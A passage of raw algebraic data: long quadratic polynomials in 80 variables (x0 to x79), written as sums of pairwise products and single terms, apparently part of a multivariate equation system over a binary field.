x10*x52 + x10*x54 + x10*x55 + x10*x60 + x10*x61 + x10*x63 + x10*x64 + x10*x67 + x10*x68 + x10*x69 + x10*x72 + x10*x75 + x10*x79 + x10 + x11*x12 + x11*x14 + x11*x15 + x11*x22 + x11*x23 + x11*x26 + x11*x27 + x11*x29 + x11*x30 + x11*x32 + x11*x33 + x11*x35 + x11*x37 + x11*x38 + x11*x41 + x11*x42 + x11*x45 + x11*x50 + x11*x52 + x11*x53 + x11*x55 + x11*x56 + x11*x57 + x11*x58 + x11*x60 + x11*x61 + x11*x63 + x11*x64 + x11*x66 + x11*x67 + x11*x69 + x11*x70 + x11*x75 + x11*x77 + x11*x78 + x11*x79 + x12*x13 + x12*x18 + x12*x22 + x12*x23 + x12*x25 + x12*x26 + x12*x28 + x12*x31 + x12*x33 + x12*x34 + x12*x36 + x12*x37 + x12*x42 + x12*x43 + x12*x44 + x12*x45 + x12*x46 + x12*x48 + x12*x49 + x12*x53 + x12*x54 + x12*x58 + x12*x60 + x12*x61 + x12*x62 + x12*x63 + x12*x65 + x12*x66 + x12*x67 + x12*x69 + x12*x70 + x12*x71 + x12*x72 + x12*x75 + x12*x78 + x12*x79 + x13*x14 + x13*x18 + x13*x19 + x13*x20 + x13*x21 + x13*x22 + x13*x23 + x13*x24 + x13*x25 + x13*x26 + x13*x29 + x13*x34 + x13*x35 + x13*x37 + x13*x39 + x13*x42 + x13*x43 + x13*x45 + x13*x48 + x13*x49 + x13*x51 + x13*x52 + x13*x53 + x13*x56 + x13*x59 + x13*x62 + x13*x63 + x13*x65 + x13*x66 + x13*x70 + x13*x72 + x13*x74 + x13*x75 + x13*x77 + x13*x78 + x13*x79 + x13 + x14*x16 + x14*x17 + x14*x19 + x14*x20 + x14*x27 + x14*x29 + x14*x31 + x14*x35 + x14*x36 + x14*x37 + x14*x40 + x14*x41 + x14*x43 + x14*x45 + x14*x47 + x14*x48 + x14*x50 + x14*x52 + x14*x54 + x14*x60 + x14*x61 + x14*x64 + x14*x66 + x14*x67 + x14*x68 + x14*x70 + x14*x72 + x14*x76 + x14*x78 + x14*x79 + x15*x16 + x15*x18 + x15*x19 + x15*x20 + x15*x21 + x15*x23 + x15*x24 + x15*x26 + x15*x28 + x15*x30 + x15*x31 + x15*x33 + x15*x35 + x15*x37 + x15*x38 + x15*x39 + x15*x40 + x15*x41 + x15*x42 + x15*x44 + x15*x50 + x15*x51 + x15*x53 + x15*x54 + x15*x55 + x15*x58 + x15*x60 + x15*x62 + x15*x63 + x15*x65 + x15*x66 + x15*x69 + x15*x70 + x15*x71 + x15*x76 + x15*x79 + x15 + x16*x19 + x16*x21 + x16*x22 + x16*x26 + x16*x29 + x16*x31 + x16*x32 + x16*x34 + x16*x35 + x16*x36 + x16*x38 + x16*x40 + x16*x42 + x16*x43 + x16*x44 + x16*x47 + x16*x49 + x16*x50 + x16*x54 + x16*x57 + x16*x60 + x16*x61 + x16*x64 + x16*x70 + x16*x72 + x16*x73 + x16*x75 + x16 + x17*x19 + x17*x20 + x17*x23 + x17*x24 + x17*x28 + x17*x30 + x17*x33 + x17*x38 + x17*x40 + x17*x42 + x17*x45 + x17*x46 + x17*x49 + x17*x50 + x17*x52 + x17*x54 + x17*x55 + x17*x56 + x17*x57 + x17*x58 + x17*x62 + x17*x64 + x17*x67 + x17*x68 + x17*x71 + x17*x72 + x17*x73 + x17*x74 + x17*x76 + x17*x78 + x17 + x18*x20 + x18*x23 + x18*x26 + x18*x27 + x18*x29 + x18*x31 + x18*x34 + x18*x35 + x18*x38 + x18*x41 + x18*x44 + x18*x50 + x18*x51 + x18*x52 + x18*x53 + x18*x55 + x18*x56 + x18*x57 + x18*x58 + x18*x62 + x18*x63 + x18*x64 + x18*x65 + x18*x66 + x18*x68 + x18*x71 + x18*x72 + x18*x75 + x18*x77 + x18 + x19*x21 + x19*x22 + x19*x24 + x19*x25 + x19*x27 + x19*x30 + x19*x31 + x19*x32 + x19*x33 + x19*x34 + x19*x39 + x19*x41 + x19*x44 + x19*x45 + x19*x47 + x19*x49 + x19*x50 + x19*x53 + x19*x54 + x19*x55 + x19*x60 + x19*x61 + x19*x64 + x19*x65 + x19*x66 + x19*x69 + x19*x71 + x19*x74 + x19*x75 + x19*x78 + x19 + x20*x24 + x20*x27 + x20*x30 + x20*x32 + x20*x33 + x20*x34 + x20*x35 + x20*x36 + x20*x40 + x20*x41 + x20*x42 + x20*x44 + x20*x45 + x20*x46 + x20*x47 + x20*x49 + x20*x50 + x20*x52 + x20*x59 + x20*x65 + x20*x66 + x20*x70 + x20*x72 + x20*x75 + x20 + x21*x23 + x21*x25 + x21*x26 + x21*x27 + x21*x28 + x21*x29 + x21*x30 + x21*x32 + x21*x34 + x21*x36 + x21*x37 + x21*x41 + x21*x42 + x21*x48 + x21*x50 + x21*x53 + x21*x54 + x21*x55 + x21*x56 + x21*x57 + x21*x59 + x21*x61 + x21*x62 + x21*x63 + x21*x64 + x21*x66 + x21*x68 + x21*x70 + x21*x71 + x21*x73 + x21*x75 + x21*x78 + x21*x79 + x21 + x22*x23 + x22*x25 + x22*x30 + x22*x32 + x22*x33 + x22*x35 + x22*x36 + x22*x38 + x22*x40 + x22*x41 + x22*x42 + x22*x43 + x22*x44 + x22*x45 + x22*x48 + x22*x51 + x22*x55 + x22*x56 + x22*x57 + x22*x58 + x22*x59 + x22*x62 + x22*x64 + x22*x65 + x22*x66 + x22*x67 + x22*x68 + x22*x69 + x22*x71 + x22*x73 + x22*x74 + x22*x76 + x22*x78 + x22*x79 + x23*x24 + x23*x25 + x23*x26 + x23*x30 + x23*x31 + x23*x33 + x23*x35 + x23*x37 + x23*x38 + x23*x41 + x23*x44 + x23*x45 + x23*x46 + x23*x49 + x23*x51 + x23*x52 + x23*x54 + x23*x60 + x23*x62 + x23*x71 + x23*x72 + x23*x73 + x23*x74 + x23*x76 + x23*x78 + x23*x79 + x24*x25 + x24*x26 + x24*x27 + x24*x30 + x24*x31 + x24*x32 + x24*x33 + x24*x35 + x24*x36 + x24*x40 + x24*x42 + x24*x45 + x24*x50 + x24*x51 + x24*x55 + x24*x56 + x24*x58 + x24*x59 + x24*x61 + x24*x63 + x24*x65 + x24*x66 + x24*x67 + x24*x71 + x24*x73 + x24*x76 + x24*x78 + x24*x79 + x25*x28 + x25*x29 + x25*x32 + x25*x34 + x25*x36 + x25*x37 + x25*x39 + x25*x41 + x25*x43 + x25*x46 + x25*x48 + x25*x49 + x25*x50 + x25*x54 + x25*x55 + x25*x56 + x25*x57 + x25*x59 + x25*x62 + x25*x63 + x25*x68 + x25*x74 + x25*x78 + x25 + x26*x27 + x26*x29 + x26*x30 + x26*x32 + x26*x35 + x26*x36 + x26*x38 + x26*x39 + x26*x40 + x26*x41 + x26*x42 + x26*x43 + x26*x46 + x26*x48 + x26*x50 + x26*x55 + x26*x58 + x26*x59 + x26*x61 + x26*x62 + x26*x64 + x26*x65 + x26*x69 + x26*x72 + x26*x75 + x26*x78 + x26 + x27*x30 + x27*x31 + x27*x33 + x27*x34 + x27*x35 + x27*x37 + x27*x38 + x27*x40 + x27*x41 + x27*x42 + x27*x44 + x27*x46 + x27*x48 + x27*x53 + x27*x54 + x27*x56 + x27*x58 + x27*x59 + x27*x61 + x27*x62 + x27*x64 + x27*x66 + x27*x67 + x27*x68 + x27*x69 + x27*x70 + x27*x71 + x27*x72 + x27*x75 + x27*x77 + x27*x78 + x28*x30 + x28*x33 + x28*x34 + x28*x36 + x28*x43 + x28*x44 + x28*x46 + x28*x48 + x28*x50 + x28*x53 + x28*x55 + x28*x56 + x28*x57 + x28*x60 + x28*x63 + x28*x65 + x28*x70 + x28*x74 + x28*x76 + x29*x36 + x29*x37 + x29*x42 + x29*x44 + x29*x47 + x29*x48 + x29*x52 + x29*x53 + x29*x54 + x29*x55 + x29*x56 + x29*x58 + x29*x60 + x29*x61 + x29*x62 + x29*x67 + x29*x68 + x29*x74 + x29*x75 + x29*x79 + x29 + x30*x31 + x30*x34 + x30*x35 + x30*x36 + x30*x37 + x30*x39 + x30*x40 + x30*x43 + x30*x46 + x30*x47 + x30*x48 + x30*x49 + x30*x52 + x30*x53 + x30*x56 + x30*x58 + x30*x59 + x30*x63 + x30*x64 + x30*x65 + x30*x66 + x30*x67 + x30*x68 + x30*x69 + x30*x71 + x30*x73 + x30*x78 + x30*x79 + x31*x32 + x31*x35 + x31*x36 + x31*x37 + x31*x38 + x31*x45 + x31*x46 + x31*x49 + x31*x51 + x31*x53 + x31*x55 + x31*x56 + x31*x58 + x31*x60 + x31*x65 + x31*x67 + x31*x68 + x31*x70 + x31*x71 + x31*x73 + x31*x75 + x31*x76 + x31*x78 + x31*x79 + x31 + x32*x33 + x32*x36 + x32*x37 + x32*x40 + x32*x42 + x32*x45 + x32*x46 + x32*x48 + x32*x50 + x32*x51 + x32*x53 + x32*x55 + x32*x56 + x32*x57 + x32*x58 + x32*x62 + x32*x63 + x32*x66 + x32*x67 + x32*x68 + x32*x70 + x32*x72 + x32*x75 + x32*x76 + x32*x78 + x32 + x33*x34 + x33*x35 + x33*x38 + x33*x41 + x33*x43 + x33*x45 + x33*x46 + x33*x47 + x33*x50 + x33*x51 + x33*x52 + x33*x55 + x33*x57 + x33*x61 + x33*x62 + x33*x64 + x33*x66 + x33*x68 + x33*x70 + x33*x71 + x33*x76 + x33*x77 + x33*x78 + x33 + x34*x36 + x34*x37 + x34*x38 + x34*x39 + x34*x44 + x34*x45 + x34*x47 + x34*x52 + x34*x54 + x34*x57 + x34*x58 + x34*x63 + x34*x66 + x34*x68 + x34*x71 + x34*x72 + x34*x73 + x34*x74 + x34*x76 + x34*x78 + x34 + x35*x38 + x35*x39 + x35*x40 + x35*x43 + x35*x46 + x35*x48 + x35*x50 + x35*x54 + x35*x55 + x35*x56 + x35*x57 + x35*x60 + x35*x61 + x35*x62 + x35*x65 + x35*x68 + x35*x70 + x35*x73 + x35*x75 + x35*x77 + x35*x79 + x35 + x36*x37 + x36*x40 + x36*x41 + x36*x42 + x36*x43 + x36*x45 + x36*x47 + x36*x48 + x36*x49 + x36*x53 + x36*x56 + x36*x57 + x36*x61 + x36*x64 + x36*x66 + x36*x67 + x36*x69 + x36*x70 + x36*x74 + x36*x75 + x36*x77 + x36*x79 + x37*x39 + x37*x42 + x37*x46 + x37*x47 + x37*x48 + x37*x49 + x37*x50 + x37*x51 + x37*x54 + x37*x55 + x37*x59 + x37*x62 + x37*x63 + x37*x66 + x37*x68 + x37*x70 + x37*x72 + x37*x75 + x37*x76 + x37*x77 + x37*x79 + x38*x46 + x38*x48 + x38*x51 + x38*x52 + x38*x55 + x38*x58 + x38*x60 + x38*x63 + x38*x64 + x38*x66 + x38*x67 + x38*x70 + x38*x71 + x38*x74 + x38*x75 + x38 + x39*x40 + x39*x42 + x39*x45 + x39*x50 + x39*x51 + x39*x52 + x39*x53 + x39*x55 + x39*x57 + x39*x61 + x39*x63 + x39*x64 + x39*x65 + x39*x68 + x39*x70 + x39*x71 + x39*x72 + x39*x75 + x39*x76 + x40*x41 + x40*x44 + x40*x46 + x40*x47 + x40*x49 + x40*x50 + x40*x51 + x40*x52 + x40*x53 + x40*x54 + x40*x57 + x40*x59 + x40*x60 + x40*x61 + x40*x62 + x40*x65 + x40*x69 + x40*x72 + x40*x73 + x41*x44 + x41*x47 + x41*x50 + x41*x51 + x41*x55 + x41*x56 + x41*x59 + x41*x60 + x41*x62 + x41*x63 + x41*x65 + x41*x67 + x41*x68 + x41*x72 + x41*x75 + x41*x76 + x41*x77 + x41*x78 + x41 + x42*x43 + x42*x44 + x42*x48 + x42*x51 + x42*x52 + x42*x54 + x42*x55 + x42*x61 + x42*x63 + x42*x64 + x42*x67 + x42*x70 + x42*x73 + x42*x74 + x42*x76 + x42 + x43*x46 + x43*x47 + x43*x48 + x43*x49 + x43*x50 + x43*x55 + x43*x57 + x43*x60 + x43*x68 + x43*x69 + x43*x70 + x43*x71 + x43*x72 + x43*x74 + x43*x78 + x44*x49 + x44*x50 + x44*x53 + x44*x54 + x44*x55 + x44*x59 + x44*x61 + x44*x62 + x44*x63 + x44*x68 + x44*x69 + x44*x70 + x44*x72 + x44*x75 + x44*x76 + x44*x77 + x44*x79 + x44 + x45*x46 + x45*x47 + x45*x49 + x45*x51 + x45*x54 + x45*x59 + x45*x60 + x45*x62 + x45*x65 + x45*x66 + x45*x67 + x45*x70 + x45*x73 + x45*x74 + x45*x78 + x45 + x46*x47 + x46*x48 + x46*x54 + x46*x57 + x46*x59 + x46*x61 + x46*x63 + x46*x65 + x46*x68 + x46*x69 + x46*x70 + x46*x73 + x46*x76 + x46*x77 + x46*x78 + x46 + x47*x48 + x47*x49 + x47*x52 + x47*x56 + x47*x58 + x47*x59 + x47*x62 + x47*x63 + x47*x64 + x47*x66 + x47*x68 + x47*x69 + x47*x70 + x47*x71 + x47*x73 + x47*x74 + x47*x76 + x47*x77 + x47*x79 + x48*x53 + x48*x56 + x48*x57 + x48*x58 + x48*x64 + x48*x66 + x48*x69 + x48*x71 + x48*x72 + x48*x73 + x48*x74 + x48*x76 + x48*x77 + x48*x78 + x48*x79 + x49*x54 + x49*x55 + x49*x60 + x49*x62 + x49*x63 + x49*x64 + x49*x65 + x49*x66 + x49*x68 + x49*x72 + x49*x74 + x49*x76 + x49*x77 + x49*x79 + x50*x52 + x50*x53 + x50*x54 + x50*x55 + x50*x60 + x50*x63 + x50*x65 + x50*x67 + x50*x68 + x50*x69 + x50*x74 + x50*x75 + x50*x77 + x50*x78 + x50 + x51*x52 + x51*x56 + x51*x57 + x51*x60 + x51*x61 + x51*x62 + x51*x64 + x51*x68 + x51*x69 + x51*x70 + x51*x71 + x51*x72 + x51*x75 + x51*x77 + x51*x78 + x51*x79 + x52*x53 + x52*x54 + x52*x57 + x52*x58 + x52*x59 + x52*x61 + x52*x62 + x52*x63 + x52*x65 + x52*x70 + x52*x71 + x52*x79 + x53*x54 + x53*x55 + x53*x57 + x53*x58 + x53*x60 + x53*x61 + x53*x62 + x53*x67 + x53*x68 + x53*x69 + x53*x70 + x53*x71 + x53*x73 + x53*x76 + x53*x79 + x53 + x54*x56 + x54*x57 + x54*x60 + x54*x63 + x54*x66 + x54*x67 + x54*x68 + x55*x56 + x55*x57 + x55*x58 + x55*x59 + x55*x61 + x55*x63 + x55*x64 + x55*x65 + x55*x67 + x55*x68 + x55*x69 + x55*x70 + x55*x71 + x55*x72 + x55*x79 + x55 + x56*x57 + x56*x58 + x56*x59 + x56*x60 + x56*x62 + x56*x64 + x56*x65 + x56*x67 + x56*x68 + x56*x70 + x56*x71 + x56*x72 + x56*x73 + x56*x74 + x56 + x57*x58 + x57*x61 + x57*x65 + x57*x67 + x57*x69 + x57*x70 + x57*x75 + x57*x78 + x57 + x58*x59 + x58*x63 + x58*x65 + x58*x70 + x58*x72 + x58*x73 + x58*x75 + x58*x78 + x58 + x59*x61 + x59*x62 + x59*x63 + x59*x74 + x59*x75 + x59*x79 + x59 + x60*x61 + x60*x62 + x60*x63 + x60*x64 + x60*x65 + x60*x66 + x60*x67 + x60*x70 + x60*x73 + x60*x74 + x60*x76 + x60*x79 + x61*x62 + x61*x65 + x61*x67 + x61*x72 + x61*x74 + x61*x76 + x61*x77 + x61 + x62*x64 + x62*x65 + x62*x66 + x62*x68 + x62*x69 + x62*x70 + x62*x73 + x62*x76 + x62*x77 + x62*x79 + x63*x66 + x63*x68 + x63*x70 + x63*x76 + x63*x77 + x63*x78 + x63*x79 + x63 + x64*x65 + x64*x68 + x64*x70 + x64*x71 + x64*x72 + x64*x73 + x64*x74 + x64*x75 + x64*x76 + x64*x77 + x64*x79 + x65*x68 + x65*x69 + x65*x70 + x65*x75 + x65*x77 + x65 + x66*x67 + x66*x69 + x66*x73 + x66*x75 + x66*x77 + x66 + x67*x68 + x67*x69 + x67*x72 + x67*x73 + x67*x76 + x67*x77 + x67 + x68*x72 + x68*x75 + x68*x78 + x68*x79 + x68 + x69*x70 + x69*x75 + x69*x76 + x69*x77 + x69*x78 + x69*x79 + x70*x72 + x70*x76 + x70*x78 + x71*x76 + x71*x77 + x71*x79 + x71 + x72*x73 + x72*x77 + x72*x78 + x73*x77 + x73*x78 + x74*x76 + x74*x77 + x74*x78 + x74 + x76*x77 + x77 + x78*x79 + x78 + x79, x0*x1 + x0*x2 + x0*x5 + x0*x6 + x0*x8 + x0*x10 + x0*x11 + x0*x12 + x0*x13 + x0*x14 + x0*x15 + x0*x17 + x0*x19 + x0*x21 + x0*x23 + x0*x24 + x0*x27 + x0*x30 + x0*x31 + x0*x32 + x0*x34 + x0*x36 + x0*x38 + x0*x46 + x0*x47 + x0*x51 + x0*x52 + x0*x53 + x0*x56 + x0*x61 + x0*x63 + x0*x65 + x0*x66 + x0*x69 + x0*x70 + x0*x71 + x0*x72 + x0*x76 + x0*x77 + x0*x78 + x0*x79 + x0 + x1*x2 + x1*x3 + x1*x8 + x1*x9 + x1*x10 + x1*x12 + x1*x14 + x1*x15 + x1*x16 + x1*x17 + x1*x18 + x1*x19 + x1*x21 + x1*x27 + x1*x28 + x1*x30 + x1*x31 + x1*x32 + x1*x38 + x1*x40 + x1*x41 + x1*x44 + x1*x48 + x1*x49 + x1*x51 + x1*x54 + x1*x56 + x1*x57 + x1*x58 + x1*x60 + x1*x61 + x1*x62 + x1*x64 + x1*x65 + x1*x72 + x1*x74 + x1*x75 + x1 + x2*x6 + x2*x7 + x2*x13 + x2*x15 + x2*x16 + x2*x17 + x2*x19 + x2*x21 + x2*x23 + x2*x24 + x2*x25 + x2*x28 + x2*x30 + x2*x31 + x2*x32 + x2*x36 + x2*x38 + x2*x39 + x2*x41 + x2*x45 + x2*x46 + x2*x47 + x2*x49 + x2*x53 + x2*x57 + x2*x59 + x2*x62 + x2*x63 + x2*x64 + x2*x65 + x2*x66 + x2*x69 + x2*x71 + x2*x72 + x2*x76 + x2*x77 + x2*x78 + x3*x4 + x3*x6 + x3*x7 + x3*x10 + x3*x11 + x3*x12 + x3*x17 + x3*x20 + x3*x21 + x3*x23 + x3*x24 + x3*x25 + x3*x26 + x3*x29 + x3*x35 + x3*x36 + x3*x39 + x3*x40 + x3*x41 + x3*x50 + x3*x51 + x3*x52 + x3*x53 + x3*x54 + x3*x55 + x3*x56 + x3*x58 + x3*x59 + x3*x60 + x3*x62 + x3*x64 + x3*x66 + x3*x67 + x3*x68 + x3*x69 + x3*x70 + x3*x71 + x3*x76 + x3*x77 + x3*x78 + x3 + x4*x6 + x4*x7 + x4*x9 + x4*x11 + x4*x14 + x4*x15 + x4*x16 + x4*x18 + x4*x19 + x4*x20 + x4*x21 + x4*x22 + x4*x23 + x4*x26 + x4*x28 + x4*x29 + x4*x30 + x4*x31 + x4*x32 + x4*x33 + x4*x38 + x4*x40 + x4*x41 + x4*x43 + x4*x46 + x4*x49 + x4*x50 + x4*x54 + x4*x56 + x4*x58 + x4*x59 + x4*x61 + x4*x62 + x4*x65 + x4*x69 + x4*x70 + x4*x73 + x4*x74 + x4*x75 + x4*x76 + x4*x77 + x4*x78 + x4*x79 + x4 + x5*x6 + x5*x8 + x5*x10 + x5*x11 + x5*x12 + x5*x13 + x5*x18 + x5*x19 + x5*x21 + x5*x22 + x5*x26 + x5*x27 + x5*x28 + x5*x30 + x5*x31 + x5*x32 + x5*x34 + x5*x35 + x5*x36 + x5*x43 + x5*x44 + x5*x49 + x5*x50 + x5*x51 + x5*x52 + x5*x55 + x5*x56 + x5*x58 + x5*x59 + x5*x62 + x5*x63 + x5*x64 + x5*x66 + x5*x67 + x5*x68 + x5*x69 + x5*x70 + x5*x71 + x5*x72 + x5*x74 + x5*x76 + x5*x77 + x5 + x6*x7 + x6*x8 + x6*x9 + x6*x10 + x6*x13 + x6*x14 + x6*x17 + x6*x19 + x6*x22 + x6*x24 + x6*x25 + x6*x29 + x6*x31 + x6*x32 + x6*x33 + x6*x36 + x6*x40 + x6*x42 + x6*x43 + x6*x46 + x6*x47 + x6*x50 + x6*x54 + x6*x55 + x6*x57 + x6*x60 + x6*x62 + x6*x64 + x6*x65 + x6*x66 + x6*x67 + x6*x69 + x6*x71 + x6*x74 + x6*x78 + x7*x9 + x7*x11 + x7*x14 + x7*x15 + x7*x18 + x7*x22 + x7*x23 + x7*x24 + x7*x29 + x7*x30 + x7*x31 + x7*x33 + x7*x35 + x7*x36 + x7*x37 + x7*x39 + x7*x41 + x7*x42 + x7*x44 + x7*x45 + x7*x47 + x7*x50 + x7*x51 + x7*x53 + x7*x57 + x7*x60 + x7*x64 + x7*x65 + x7*x67 + x7*x68 + x7*x73 + x7*x75 + x7*x76 + x7*x77 + x7*x78 + x7 + x8*x12 + x8*x13 + x8*x16 + x8*x19 + x8*x24 + x8*x31 + x8*x32 + x8*x33 + x8*x34 + x8*x35 + x8*x36 + x8*x37 + x8*x41 + x8*x42 + x8*x44 + x8*x46 + x8*x48 + x8*x52 + x8*x54 + x8*x55 + x8*x56 + x8*x57 + x8*x58 + x8*x61 + x8*x62 + x8*x65 + x8*x66 + x8*x68 + x8*x71 + x8*x72 + x8*x73 + x8*x75 + x8*x76 + x8*x77 + x8*x78 + x8*x79 + x9*x11 + x9*x14 + x9*x16 + x9*x17 + x9*x18 + x9*x22 + x9*x26 + x9*x29 + x9*x32 + x9*x35 + x9*x40 + x9*x41 + x9*x42 + x9*x46 + x9*x49 + x9*x52 + x9*x53 + x9*x56 + x9*x57 + x9*x58 + x9*x60 + x9*x61 + x9*x64 + x9*x67 + x9*x68 + x9*x70 + x9*x71 + x9*x74 + x9*x75 + x9*x77 + x9*x79 + x9 + x10*x12 + x10*x14 + x10*x15 + x10*x16 + x10*x17 + x10*x18 + x10*x21 + x10*x22 + x10*x23 + x10*x28 + x10*x29 + x10*x30 + x10*x32 + x10*x35 + x10*x38 + x10*x42 + x10*x43 + x10*x44 + x10*x45 + x10*x46 + x10*x47 + x10*x48 + x10*x49 + x10*x50 + x10*x51 + x10*x52 + x10*x53 + x10*x54 + x10*x55 + x10*x56 + x10*x62 + x10*x67 + x10*x68 + x10*x74 + x10*x75 + x10*x76 + x10*x78 + x10*x79 + x10 + x11*x12 + x11*x13 + x11*x15 + x11*x28 + x11*x29 + x11*x30 + x11*x31 + x11*x32 + x11*x35 + x11*x37 + x11*x38 + x11*x45 + x11*x49 + x11*x53 + x11*x54 + x11*x60 + x11*x64 + x11*x68 + x11*x71 + x11*x72 + x11*x74 + x11*x75 + x11*x76 + x11*x77 + x11*x78 + x11*x79 + x11 + x12*x13 + x12*x15 + x12*x18 + x12*x19 + x12*x20 + x12*x21 + x12*x22 + x12*x24 + x12*x25 + x12*x26 + x12*x29 + x12*x31 + x12*x34 + x12*x35 + x12*x37 + x12*x38 + x12*x40 + x12*x41 + x12*x45 + x12*x46 + x12*x47 + x12*x51 + x12*x52 + x12*x54 + x12*x55 + x12*x56 + x12*x58 + x12*x59 + x12*x61 + x12*x62 + x12*x64 + x12*x65 + x12*x67 + x12*x71 + x12*x73 + x12*x75 + x12*x77 + x12 + x13*x14 + x13*x17 + x13*x20 + x13*x21 + x13*x22 + x13*x23 + x13*x26 + x13*x27 + x13*x28 + x13*x31 + x13*x32 + x13*x33 + x13*x35 + x13*x36 + x13*x37 + x13*x38 + x13*x41 + x13*x45 + x13*x49 + x13*x50 + x13*x53 + x13*x54 + x13*x55 + x13*x57 + x13*x58 + x13*x59 + x13*x61 + x13*x63 + x13*x64 + x13*x65 + x13*x67 + x13*x70 + x13*x71 + x13*x72 + x13*x79 + x13 + x14*x15 + x14*x16 + x14*x18 + x14*x19 + x14*x21 + x14*x22 + x14*x24 + x14*x28 + x14*x32 + x14*x33 + x14*x34 + x14*x36 + x14*x37 + x14*x40 + x14*x43 + x14*x44 + x14*x46 + x14*x47 + x14*x48 + x14*x50 + x14*x61 + x14*x62 + x14*x63 + x14*x66 + x14*x67 + x14*x68 + x14*x71 + x14*x73 + x14*x74 + x14*x75 + x14*x77 + x14*x78 + x14*x79 + x15*x17 + x15*x25 + x15*x26 + x15*x30 + x15*x32 + x15*x36 + x15*x37 + x15*x40 + x15*x42 + x15*x43 + x15*x44 + x15*x45 + x15*x47 + x15*x49 + x15*x50 + x15*x51 + x15*x52 + x15*x55 + x15*x58 + x15*x59 + x15*x60 + x15*x62 + x15*x64 + x15*x65 + x15*x66 + x15*x67 + x15*x76 + x15 + x16*x20 + x16*x21 + x16*x22 + x16*x23 + x16*x25 + x16*x28 + x16*x30 + x16*x35 + x16*x42 + x16*x45 + x16*x46 + x16*x47 + x16*x49 + x16*x50 + x16*x51 + x16*x52 + x16*x53 + x16*x54 + x16*x55 + x16*x57 + x16*x60 + x16*x61 + x16*x62 + x16*x63 + x16*x64 + x16*x65 + x16*x66 + x16*x74 + x16*x76 + x17*x25 + x17*x26 + x17*x27 + x17*x31 + x17*x34 + x17*x35 + x17*x39 + x17*x42 + x17*x45 + x17*x47 + x17*x49 + x17*x52 + x17*x56 + x17*x58 + x17*x59 + x17*x60 + x17*x68 + x17*x70 + x17*x71 + x17*x74 + x17*x76 + x17*x77 + x17*x79 + x18*x22 + x18*x28 + x18*x39 + x18*x40 + x18*x43 + x18*x44 + x18*x46 + x18*x47 + x18*x49 + x18*x50 + x18*x54 + x18*x56 + x18*x57 + x18*x58 + x18*x63 + x18*x64 + x18*x65 + x18*x72 + x18*x74 + x18*x76 + x19*x20 + x19*x22 + x19*x23 + x19*x25 + x19*x27 + x19*x28 + x19*x31 + x19*x32 + x19*x34 + x19*x35 + x19*x38 + x19*x40 + x19*x42 + x19*x45 + x19*x47 + x19*x49 + x19*x50 + x19*x52 + x19*x55 + x19*x56 + x19*x57 + x19*x58 + x19*x59 + x19*x60 + x19*x61 + x19*x62 + x19*x64 + x19*x65 + x19*x66 + x19*x67 + x19*x68 + x19*x70 + x19*x71 + x19*x72 + x19*x73 + x19*x77 + x19*x78 + x19*x79 + x19 + x20*x24 + x20*x25 + x20*x26 + x20*x27 + x20*x28 + x20*x29 + x20*x30 + x20*x31 + x20*x32 + x20*x33 + x20*x35 + x20*x36 + x20*x39 + x20*x41 + x20*x43 + x20*x47 + x20*x48 + x20*x49 + x20*x50 + x20*x51 + x20*x52 + x20*x54 + x20*x61 + x20*x67 + x20*x69 + x20*x70 + x20*x72 + x20*x74 + x20*x75 + x20*x76 + x20 + x21*x22 + x21*x24 + x21*x25 + x21*x31 + x21*x33 + x21*x34 + x21*x38 + x21*x39 + x21*x40 + x21*x41 + x21*x42 + x21*x48 + x21*x50 + x21*x51 + x21*x52 + x21*x53 + x21*x54 + x21*x55 + x21*x56 + x21*x57 + x21*x58 + x21*x59 + x21*x60 + x21*x64 + x21*x65 + x21*x66 + x21*x67 + x21*x68 + x21*x69 + x21*x72 + x21*x73 + x21*x76 + x21*x77 + x21*x79 + x21 + x22*x23 + x22*x26 + x22*x29 + x22*x36 + x22*x37 + x22*x38 + x22*x41 + x22*x42 + x22*x46 + x22*x47 + x22*x49 + x22*x54 + x22*x55 + x22*x57 + x22*x60 + x22*x64 + x22*x67 + x22*x68 + x22*x73 + x22*x74 + x22*x77 + x22*x78 + x22*x79 + x22 + x23*x24 + x23*x25 + x23*x26 + x23*x27 + x23*x28 + x23*x29 + x23*x32 + x23*x33 + x23*x34 + x23*x36 + x23*x39 + x23*x40 + x23*x41 + x23*x43 + x23*x44 + x23*x48 + x23*x49 + x23*x51 + x23*x52 + x23*x59 + x23*x61 + x23*x62 + x23*x66 + x23*x68 + x23*x69 + x23*x75 + x23*x77 + x23*x78 + x23*x79 + x24*x28 + x24*x29 + x24*x30 + x24*x31 + x24*x33 + x24*x34 + x24*x35 + x24*x36 + x24*x37 + x24*x38 + x24*x41 + x24*x42 + x24*x44 + x24*x45 + x24*x46 + x24*x48 + x24*x51 + x24*x52 + x24*x54 + x24*x55 + x24*x56 + x24*x58 + x24*x62 + x24*x67 + x24*x69 + x24*x70 + x24*x71 + x24*x72 + x24*x73 + x24*x74 + x24*x78 + x24 + x25*x26 + x25*x31 + x25*x32 + x25*x34 + x25*x36 + x25*x37 + x25*x40 + x25*x43 + x25*x47 + x25*x49 + x25*x50 + x25*x52 + x25*x53 + x25*x54 + x25*x55 + x25*x56 + x25*x59 + x25*x64 + x25*x67 + x25*x68 + x25*x69 + x25*x71 + x25*x75 + x25*x77 + x25*x78 + x26*x28 + x26*x29 + x26*x34 + x26*x35 + x26*x36 + x26*x40 + x26*x44 + x26*x46 + x26*x47 + x26*x48 + x26*x49 + x26*x51 + x26*x52 + x26*x53 + x26*x55 + x26*x56 + x26*x57 + x26*x58 + x26*x60 + x26*x62 + x26*x63 + x26*x65 + x26*x70 + x26*x73 + x26*x76 + x26*x77 + x26*x79 + x27*x29 + x27*x34 + x27*x36 + x27*x38 + x27*x41 + x27*x42 + x27*x45 + x27*x46 + x27*x48 + x27*x53 + x27*x55 + x27*x56 + x27*x60 + x27*x62 + x27*x64 + x27*x65 + x27*x66 + x27*x69 + x27*x70 + x27*x71 + x27*x72 + x27*x73 + x27*x77 + x27*x78 + x27*x79 + x27 + x28*x29 + x28*x43 + x28*x47 + x28*x49 + x28*x50 + x28*x51 + x28*x52 + x28*x54 + x28*x55 + x28*x56 + x28*x60 + x28*x61 + x28*x64 + x28*x65 + x28*x66 + x28*x67 + x28*x68 + x28*x69 + x28*x71 + x29*x30 + x29*x31 + x29*x32 + x29*x33 + x29*x35 + x29*x36 + x29*x38 + x29*x40 + x29*x42 + x29*x43 + x29*x46 + x29*x47 + x29*x48 + x29*x50 + x29*x52 + x29*x53 + x29*x56 + x29*x57 + x29*x61 + x29*x62 + x29*x67 + x29*x69 + x29*x71 + x29*x74 + x29*x76 + x29*x79 + x30*x31 + x30*x32 + x30*x33 + x30*x34 + x30*x35 + x30*x36 + 